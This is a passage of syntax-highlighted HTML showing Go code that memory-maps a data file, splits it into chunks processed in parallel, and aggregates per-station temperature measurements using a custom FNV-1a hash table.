&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">log&lt;/span>.&lt;span style="color:#a6e22e">Fatalf&lt;/span>(&lt;span style="color:#e6db74">&amp;#34;Stat: %v&amp;#34;&lt;/span>, &lt;span style="color:#a6e22e">err&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> }
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">size&lt;/span> &lt;span style="color:#f92672">:=&lt;/span> &lt;span style="color:#a6e22e">fi&lt;/span>.&lt;span style="color:#a6e22e">Size&lt;/span>()
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">if&lt;/span> &lt;span style="color:#a6e22e">size&lt;/span> &lt;span style="color:#f92672">&amp;lt;=&lt;/span> &lt;span style="color:#ae81ff">0&lt;/span> &lt;span style="color:#f92672">||&lt;/span> &lt;span style="color:#a6e22e">size&lt;/span> &lt;span style="color:#f92672">!=&lt;/span> int64(int(&lt;span style="color:#a6e22e">size&lt;/span>)) {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">log&lt;/span>.&lt;span style="color:#a6e22e">Fatalf&lt;/span>(&lt;span style="color:#e6db74">&amp;#34;Invalid file size: %d&amp;#34;&lt;/span>, &lt;span style="color:#a6e22e">size&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> }
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">data&lt;/span>, &lt;span style="color:#a6e22e">err&lt;/span> &lt;span style="color:#f92672">:=&lt;/span> &lt;span style="color:#a6e22e">syscall&lt;/span>.&lt;span style="color:#a6e22e">Mmap&lt;/span>(int(&lt;span style="color:#a6e22e">f&lt;/span>.&lt;span style="color:#a6e22e">Fd&lt;/span>()), &lt;span style="color:#ae81ff">0&lt;/span>, int(&lt;span style="color:#a6e22e">size&lt;/span>), &lt;span style="color:#a6e22e">syscall&lt;/span>.&lt;span style="color:#a6e22e">PROT_READ&lt;/span>, &lt;span style="color:#a6e22e">syscall&lt;/span>.&lt;span style="color:#a6e22e">MAP_SHARED&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">if&lt;/span> &lt;span style="color:#a6e22e">err&lt;/span> &lt;span style="color:#f92672">!=&lt;/span> &lt;span style="color:#66d9ef">nil&lt;/span> {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">log&lt;/span>.&lt;span style="color:#a6e22e">Fatalf&lt;/span>(&lt;span style="color:#e6db74">&amp;#34;Mmap: %v&amp;#34;&lt;/span>, &lt;span style="color:#a6e22e">err&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> }
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">defer&lt;/span> &lt;span style="color:#66d9ef">func&lt;/span>() {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">if&lt;/span> &lt;span style="color:#a6e22e">err&lt;/span> &lt;span style="color:#f92672">:=&lt;/span> &lt;span style="color:#a6e22e">syscall&lt;/span>.&lt;span style="color:#a6e22e">Munmap&lt;/span>(&lt;span style="color:#a6e22e">data&lt;/span>); &lt;span style="color:#a6e22e">err&lt;/span> &lt;span style="color:#f92672">!=&lt;/span> &lt;span style="color:#66d9ef">nil&lt;/span> {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">log&lt;/span>.&lt;span style="color:#a6e22e">Fatalf&lt;/span>(&lt;span style="color:#e6db74">&amp;#34;Munmap: %v&amp;#34;&lt;/span>, &lt;span style="color:#a6e22e">err&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> }
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> }()
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">return&lt;/span> &lt;span style="color:#a6e22e">process&lt;/span>(&lt;span style="color:#a6e22e">data&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>}
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#66d9ef">func&lt;/span> &lt;span style="color:#a6e22e">process&lt;/span>(&lt;span style="color:#a6e22e">data&lt;/span> []&lt;span style="color:#66d9ef">byte&lt;/span>) &lt;span style="color:#66d9ef">map&lt;/span>[&lt;span style="color:#66d9ef">string&lt;/span>]&lt;span style="color:#f92672">*&lt;/span>&lt;span style="color:#a6e22e">measurement&lt;/span> {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">nChunks&lt;/span> &lt;span style="color:#f92672">:=&lt;/span> &lt;span style="color:#a6e22e">runtime&lt;/span>.&lt;span style="color:#a6e22e">NumCPU&lt;/span>()
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">chunkSize&lt;/span> &lt;span style="color:#f92672">:=&lt;/span> len(&lt;span style="color:#a6e22e">data&lt;/span>) &lt;span style="color:#f92672">/&lt;/span> &lt;span style="color:#a6e22e">nChunks&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">if&lt;/span> &lt;span style="color:#a6e22e">chunkSize&lt;/span> &lt;span style="color:#f92672">==&lt;/span> &lt;span style="color:#ae81ff">0&lt;/span> {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">chunkSize&lt;/span> = len(&lt;span style="color:#a6e22e">data&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> }
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">chunks&lt;/span> &lt;span style="color:#f92672">:=&lt;/span> make([]&lt;span style="color:#66d9ef">int&lt;/span>, &lt;span style="color:#ae81ff">0&lt;/span>, &lt;span style="color:#a6e22e">nChunks&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">offset&lt;/span> &lt;span style="color:#f92672">:=&lt;/span> &lt;span style="color:#ae81ff">0&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">for&lt;/span> &lt;span style="color:#a6e22e">offset&lt;/span> &amp;lt; len(&lt;span style="color:#a6e22e">data&lt;/span>) {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">offset&lt;/span> &lt;span style="color:#f92672">+=&lt;/span> &lt;span style="color:#a6e22e">chunkSize&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">if&lt;/span> &lt;span style="color:#a6e22e">offset&lt;/span> &lt;span style="color:#f92672">&amp;gt;=&lt;/span> len(&lt;span style="color:#a6e22e">data&lt;/span>) {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">chunks&lt;/span> = append(&lt;span style="color:#a6e22e">chunks&lt;/span>, len(&lt;span style="color:#a6e22e">data&lt;/span>))
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">break&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> }
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">nlPos&lt;/span> &lt;span style="color:#f92672">:=&lt;/span> &lt;span style="color:#a6e22e">bytes&lt;/span>.&lt;span style="color:#a6e22e">IndexByte&lt;/span>(&lt;span style="color:#a6e22e">data&lt;/span>[&lt;span style="color:#a6e22e">offset&lt;/span>:], &lt;span style="color:#e6db74">&amp;#39;\n&amp;#39;&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">if&lt;/span> &lt;span style="color:#a6e22e">nlPos&lt;/span> &lt;span style="color:#f92672">==&lt;/span> &lt;span style="color:#f92672">-&lt;/span>&lt;span style="color:#ae81ff">1&lt;/span> {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">chunks&lt;/span> = append(&lt;span style="color:#a6e22e">chunks&lt;/span>, len(&lt;span style="color:#a6e22e">data&lt;/span>))
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">break&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> } &lt;span style="color:#66d9ef">else&lt;/span> {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">offset&lt;/span> &lt;span style="color:#f92672">+=&lt;/span> &lt;span style="color:#a6e22e">nlPos&lt;/span> &lt;span style="color:#f92672">+&lt;/span> &lt;span style="color:#ae81ff">1&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">chunks&lt;/span> = append(&lt;span style="color:#a6e22e">chunks&lt;/span>, &lt;span style="color:#a6e22e">offset&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> }
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> }
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">var&lt;/span> &lt;span style="color:#a6e22e">wg&lt;/span> &lt;span style="color:#a6e22e">sync&lt;/span>.&lt;span style="color:#a6e22e">WaitGroup&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">wg&lt;/span>.&lt;span style="color:#a6e22e">Add&lt;/span>(len(&lt;span style="color:#a6e22e">chunks&lt;/span>))
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">results&lt;/span> &lt;span style="color:#f92672">:=&lt;/span> make([]&lt;span style="color:#66d9ef">map&lt;/span>[&lt;span style="color:#66d9ef">string&lt;/span>]&lt;span style="color:#f92672">*&lt;/span>&lt;span style="color:#a6e22e">measurement&lt;/span>, len(&lt;span style="color:#a6e22e">chunks&lt;/span>))
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">start&lt;/span> &lt;span style="color:#f92672">:=&lt;/span> &lt;span style="color:#ae81ff">0&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">for&lt;/span> &lt;span style="color:#a6e22e">i&lt;/span>, &lt;span style="color:#a6e22e">chunk&lt;/span> &lt;span style="color:#f92672">:=&lt;/span> &lt;span style="color:#66d9ef">range&lt;/span> &lt;span style="color:#a6e22e">chunks&lt;/span> {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">go&lt;/span> &lt;span style="color:#66d9ef">func&lt;/span>(&lt;span style="color:#a6e22e">data&lt;/span> []&lt;span style="color:#66d9ef">byte&lt;/span>, &lt;span style="color:#a6e22e">i&lt;/span> &lt;span style="color:#66d9ef">int&lt;/span>) {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">results&lt;/span>[&lt;span style="color:#a6e22e">i&lt;/span>] = &lt;span style="color:#a6e22e">processChunk&lt;/span>(&lt;span style="color:#a6e22e">data&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">wg&lt;/span>.&lt;span style="color:#a6e22e">Done&lt;/span>()
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> }(&lt;span style="color:#a6e22e">data&lt;/span>[&lt;span style="color:#a6e22e">start&lt;/span>:&lt;span style="color:#a6e22e">chunk&lt;/span>], &lt;span style="color:#a6e22e">i&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">start&lt;/span> = &lt;span style="color:#a6e22e">chunk&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> }
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">wg&lt;/span>.&lt;span style="color:#a6e22e">Wait&lt;/span>()
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">measurements&lt;/span> &lt;span style="color:#f92672">:=&lt;/span> make(&lt;span style="color:#66d9ef">map&lt;/span>[&lt;span style="color:#66d9ef">string&lt;/span>]&lt;span style="color:#f92672">*&lt;/span>&lt;span style="color:#a6e22e">measurement&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">for&lt;/span> &lt;span style="color:#a6e22e">_&lt;/span>, &lt;span style="color:#a6e22e">r&lt;/span> &lt;span style="color:#f92672">:=&lt;/span> &lt;span style="color:#66d9ef">range&lt;/span> &lt;span style="color:#a6e22e">results&lt;/span> {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">for&lt;/span> &lt;span style="color:#a6e22e">id&lt;/span>, &lt;span style="color:#a6e22e">rm&lt;/span> &lt;span style="color:#f92672">:=&lt;/span> &lt;span style="color:#66d9ef">range&lt;/span> &lt;span style="color:#a6e22e">r&lt;/span> {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">m&lt;/span> &lt;span style="color:#f92672">:=&lt;/span> &lt;span style="color:#a6e22e">measurements&lt;/span>[&lt;span style="color:#a6e22e">id&lt;/span>]
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">if&lt;/span> &lt;span style="color:#a6e22e">m&lt;/span> &lt;span style="color:#f92672">==&lt;/span> &lt;span style="color:#66d9ef">nil&lt;/span> {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">measurements&lt;/span>[&lt;span style="color:#a6e22e">id&lt;/span>] = &lt;span style="color:#a6e22e">rm&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> } &lt;span style="color:#66d9ef">else&lt;/span> {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">m&lt;/span>.&lt;span style="color:#a6e22e">min&lt;/span> = min(&lt;span style="color:#a6e22e">m&lt;/span>.&lt;span style="color:#a6e22e">min&lt;/span>, &lt;span style="color:#a6e22e">rm&lt;/span>.&lt;span style="color:#a6e22e">min&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">m&lt;/span>.&lt;span style="color:#a6e22e">max&lt;/span> = max(&lt;span style="color:#a6e22e">m&lt;/span>.&lt;span style="color:#a6e22e">max&lt;/span>, &lt;span style="color:#a6e22e">rm&lt;/span>.&lt;span style="color:#a6e22e">max&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">m&lt;/span>.&lt;span style="color:#a6e22e">sum&lt;/span> &lt;span style="color:#f92672">+=&lt;/span> &lt;span style="color:#a6e22e">rm&lt;/span>.&lt;span style="color:#a6e22e">sum&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">m&lt;/span>.&lt;span style="color:#a6e22e">count&lt;/span> &lt;span style="color:#f92672">+=&lt;/span> &lt;span style="color:#a6e22e">rm&lt;/span>.&lt;span style="color:#a6e22e">count&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> }
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> }
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> }
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">return&lt;/span> &lt;span style="color:#a6e22e">measurements&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>}
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#66d9ef">func&lt;/span> &lt;span style="color:#a6e22e">processChunk&lt;/span>(&lt;span style="color:#a6e22e">data&lt;/span> []&lt;span style="color:#66d9ef">byte&lt;/span>) &lt;span style="color:#66d9ef">map&lt;/span>[&lt;span style="color:#66d9ef">string&lt;/span>]&lt;span style="color:#f92672">*&lt;/span>&lt;span style="color:#a6e22e">measurement&lt;/span> {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#75715e">// Use fixed size linear probe lookup table&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">const&lt;/span> (
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#75715e">// use power of 2 for fast modulo calculation,&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#75715e">// should be larger than max number of keys which is 10_000&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">entriesSize&lt;/span> = &lt;span style="color:#ae81ff">1&lt;/span> &lt;span style="color:#f92672">&amp;lt;&amp;lt;&lt;/span> &lt;span style="color:#ae81ff">14&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#75715e">// use FNV-1a hash&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">fnv1aOffset64&lt;/span> = &lt;span style="color:#ae81ff">14695981039346656037&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">fnv1aPrime64&lt;/span> = &lt;span style="color:#ae81ff">1099511628211&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> )
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">type&lt;/span> &lt;span style="color:#a6e22e">entry&lt;/span> &lt;span style="color:#66d9ef">struct&lt;/span> {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">m&lt;/span> &lt;span style="color:#a6e22e">measurement&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">hash&lt;/span> &lt;span style="color:#66d9ef">uint64&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">vlen&lt;/span> &lt;span style="color:#66d9ef">int&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">value&lt;/span> [&lt;span style="color:#ae81ff">128&lt;/span>]&lt;span style="color:#66d9ef">byte&lt;/span> &lt;span style="color:#75715e">// use power of 2 &amp;gt; 100 for alignment&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> }
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">entries&lt;/span> &lt;span style="color:#f92672">:=&lt;/span> make([]&lt;span style="color:#a6e22e">entry&lt;/span>, &lt;span style="color:#a6e22e">entriesSize&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">entriesCount&lt;/span> &lt;span style="color:#f92672">:=&lt;/span> &lt;span style="color:#ae81ff">0&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#75715e">// keep short and inlinable&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">getMeasurement&lt;/span> &lt;span style="color:#f92672">:=&lt;/span> &lt;span style="color:#66d9ef">func&lt;/span>(&lt;span style="color:#a6e22e">hash&lt;/span> &lt;span style="color:#66d9ef">uint64&lt;/span>, &lt;span style="color:#a6e22e">value&lt;/span> []&lt;span style="color:#66d9ef">byte&lt;/span>) &lt;span style="color:#f92672">*&lt;/span>&lt;span style="color:#a6e22e">measurement&lt;/span> {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">i&lt;/span> &lt;span style="color:#f92672">:=&lt;/span> &lt;span style="color:#a6e22e">hash&lt;/span> &lt;span style="color:#f92672">&amp;amp;&lt;/span> uint64(&lt;span style="color:#a6e22e">entriesSize&lt;/span>&lt;span style="color:#f92672">-&lt;/span>&lt;span style="color:#ae81ff">1&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">entry&lt;/span> &lt;span style="color:#f92672">:=&lt;/span> &lt;span style="color:#f92672">&amp;amp;&lt;/span>&lt;span style="color:#a6e22e">entries&lt;/span>[&lt;span style="color:#a6e22e">i&lt;/span>]
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#75715e">// bytes.Equal could be commented to speedup assuming no hash collisions&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">for&lt;/span> &lt;span style="color:#a6e22e">entry&lt;/span>.&lt;span style="color:#a6e22e">vlen&lt;/span> &amp;gt; &lt;span style="color:#ae81ff">0&lt;/span> &lt;span style="color:#f92672">&amp;amp;&amp;amp;&lt;/span> !(&lt;span style="color:#a6e22e">entry&lt;/span>.&lt;span style="color:#a6e22e">hash&lt;/span> &lt;span style="color:#f92672">==&lt;/span> &lt;span style="color:#a6e22e">hash&lt;/span> &lt;span style="color:#f92672">&amp;amp;&amp;amp;&lt;/span> &lt;span style="color:#a6e22e">bytes&lt;/span>.&lt;span style="color:#a6e22e">Equal&lt;/span>(&lt;span style="color:#a6e22e">entry&lt;/span>.&lt;span style="color:#a6e22e">value&lt;/span>[:&lt;span style="color:#a6e22e">entry&lt;/span>.&lt;span style="color:#a6e22e">vlen&lt;/span>], &lt;span style="color:#a6e22e">value&lt;/span>)) {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">i&lt;/span> = (&lt;span style="color:#a6e22e">i&lt;/span> &lt;span style="color:#f92672">+&lt;/span> &lt;span style="color:#ae81ff">1&lt;/span>) &lt;span style="color:#f92672">&amp;amp;&lt;/span> uint64(&lt;span style="color:#a6e22e">entriesSize&lt;/span>&lt;span style="color:#f92672">-&lt;/span>&lt;span style="color:#ae81ff">1&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">entry&lt;/span> = &lt;span style="color:#f92672">&amp;amp;&lt;/span>&lt;span style="color:#a6e22e">entries&lt;/span>[&lt;span style="color:#a6e22e">i&lt;/span>]
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> }
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">if&lt;/span> &lt;span style="color:#a6e22e">entry&lt;/span>.&lt;span style="color:#a6e22e">vlen&lt;/span> &lt;span style="color:#f92672">==&lt;/span> &lt;span style="color:#ae81ff">0&lt;/span> {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">entry&lt;/span>.&lt;span style="color:#a6e22e">hash&lt;/span> = &lt;span style="color:#a6e22e">hash&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">entry&lt;/span>.&lt;span style="color:#a6e22e">vlen&lt;/span> = copy(&lt;span style="color:#a6e22e">entry&lt;/span>.&lt;span style="color:#a6e22e">value&lt;/span>[:], &lt;span style="color:#a6e22e">value&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">entriesCount&lt;/span>&lt;span style="color:#f92672">++&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> }
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">return&lt;/span> &lt;span style="color:#f92672">&amp;amp;&lt;/span>&lt;span style="color:#a6e22e">entry&lt;/span>.&lt;span style="color:#a6e22e">m&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> }
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#75715e">// assume valid input&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">for&lt;/span> len(&lt;span style="color:#a6e22e">data&lt;/span>) &amp;gt; &lt;span style="color:#ae81ff">0&lt;/span> {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">idHash&lt;/span> &lt;span style="color:#f92672">:=&lt;/span> uint64(&lt;span style="color:#a6e22e">fnv1aOffset64&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">semiPos&lt;/span> &lt;span style="color:#f92672">:=&lt;/span> &lt;span style="color:#ae81ff">0&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">for&lt;/span> &lt;span style="color:#a6e22e">i&lt;/span>, &lt;span style="color:#a6e22e">b&lt;/span> &lt;span style="color:#f92672">:=&lt;/span> &lt;span style="color:#66d9ef">range&lt;/span> &lt;span style="color:#a6e22e">data&lt;/span> {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">if&lt;/span> &lt;span style="color:#a6e22e">b&lt;/span> &lt;span style="color:#f92672">==&lt;/span> &lt;span style="color:#e6db74">&amp;#39;;&amp;#39;&lt;/span> {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">semiPos&lt;/span> = &lt;span style="color:#a6e22e">i&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">break&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> }
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#75715e">// calculate FNV-1a hash&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">idHash&lt;/span> ^= uint64(&lt;span style="color:#a6e22e">b&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">idHash&lt;/span> &lt;span style="color:#f92672">*=&lt;/span> &lt;span style="color:#a6e22e">fnv1aPrime64&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> }
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">idData&lt;/span> &lt;span style="color:#f92672">:=&lt;/span> &lt;span style="color:#a6e22e">data&lt;/span>[:&lt;span style="color:#a6e22e">semiPos&lt;/span>]
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">data&lt;/span> = &lt;span style="color:#a6e22e">data&lt;/span>[&lt;span style="color:#a6e22e">semiPos&lt;/span>&lt;span style="color:#f92672">+&lt;/span>&lt;span style="color:#ae81ff">1&lt;/span>:]
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">var&lt;/span> &lt;span style="color:#a6e22e">temp&lt;/span> &lt;span style="color:#66d9ef">int64&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#75715e">// parseNumber&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> {
